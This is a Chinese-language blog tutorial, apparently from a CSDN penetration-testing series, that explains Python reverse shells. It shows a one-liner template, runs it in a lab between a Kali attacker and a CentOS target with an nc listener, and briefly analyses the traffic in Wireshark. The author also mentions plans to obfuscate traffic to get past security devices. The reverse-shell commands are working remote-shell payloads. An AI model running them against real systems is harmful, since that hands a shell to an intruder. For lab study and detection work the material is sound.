[隧道代理] 隧道代理 — 反弹 Shell - Python 反弹 Shell

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Python 工具介绍

Python 是一种高级、解释型、通用的编程语言,由 Guido van Rossum 于 1991 年首次发布。它以简洁、易读的语法著称,适合初学者和专业开发者。Python 支持多种编程范式,包括面向对象、函数式和过程式编程。

大部分的 Linux 系统中都默认安装了 Python,笔者看了大部分使用 Python 做反弹 Shell 的代码,其本质依旧是使用 Linux 中的 /bin/bash 来做反弹连接(笔者其实想整一个针对 Windows 的,但是仔细想了想,Windows 好像真没啥自带的能做反弹连接的工具,纠正一下,笔者现在没找到)。虽然没有找到,但 Python 作为一款支持网络编程的语言,写个互通的工具应该还是挺简单的吧。

0x0101:定位本地 Python 环境

要想使用 Python 进行反弹 Shell,首先得确定靶机上存在 Python 环境呀,使用下面的命令就可以完成这一操作:

bash 复制代码
 python -V                    # 适合 Windows Or Linux
 which python python2 python3 # 适合 Linux

0x0102:Python 反弹 Shell 标准格式

下面这个就是在 Linux 系统中使用 Python 进行反弹 Shell 的标准语法:

bash 复制代码
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机 IP",攻击机端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'

0x02:Python 反弹 Shell

这里使用的 Python 反弹 Shell,由于是其本质是借助 /bin/bash,所以和 bash 一样,只能用于反向连接,不能用于正向连接。对于正向连接与反向连接的使用场景,相信看过前面 NetCat(NC)反弹 Shell 的小伙伴都已经很清楚了,所以笔者这里就不费笔墨讲解场景了,直接开始实验。

0x0201:Python 反弹 Shell --- 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

bash 复制代码
 nc -lvvp 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

bash 复制代码
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.102",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'

此时我们回到 Kali 攻击机中,可以看到靶机成功上线:

0x0201:Python 反弹 Shell --- 流量分析

接下来我们就以上面我们通过 Python 反弹 Shell 在靶机上执行 ifconfig 命令为例,来分析一下 Python 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 ifconfig 后进行抓包:

跟我们前面分析的一样,上面这种一句话使用 Python 反弹 Shell 的本质其实还是借助 bash 进行反弹的,流量特征与走 TCP 流量的 Bash 反弹连接是一致的(所以说呢,安全任重而道远,后面笔者会尝试更新如何自制客户端与服务端,并对流量进行混淆,以尝试绕过安全设备)。

相关推荐
R-G-B3 分钟前
【C++ 初级工程师面试--4】形参带默认值的函数,特点,效率,注意事项
开发语言·c++·形参带默认值的函数·形参默认值特点,效率,注意事项·形参默认值特点·形参默认值效率·形参默认值注意事项
Q_Q51100828523 分钟前
python的驾校培训预约管理系统
开发语言·python·django·flask·node.js·php
Dxy12393102161 小时前
Python正则表达式使用指南:从基础到实战
开发语言·python·正则表达式
YLCHUP1 小时前
题解:P4447 [AHOI2018初中组] 分组
开发语言·数据结构·c++·经验分享·算法·贪心算法·抽象代数
R-G-B1 小时前
【05】大恒相机SDK C#开发 —— Winform中采集图像并显示
开发语言·c#·大恒相机sdk·winform中采集图像·winform中采集图像并显示
三小尛2 小时前
C++友元
开发语言·c++·算法
小小洋洋2 小时前
笔记:C语言中指向指针的指针作用
c语言·开发语言·笔记
wjs20243 小时前
正则表达式 - 示例
开发语言
懷淰メ3 小时前
日常--详细介绍qt Designer常用快捷键(详细图文)
开发语言·qt·pyqt·快捷键·qtdesigner·ui设计·qt设计师
许野平3 小时前
Rust:如何访问 *.ini 配置文件?
开发语言·数据库·rust·ini·configparser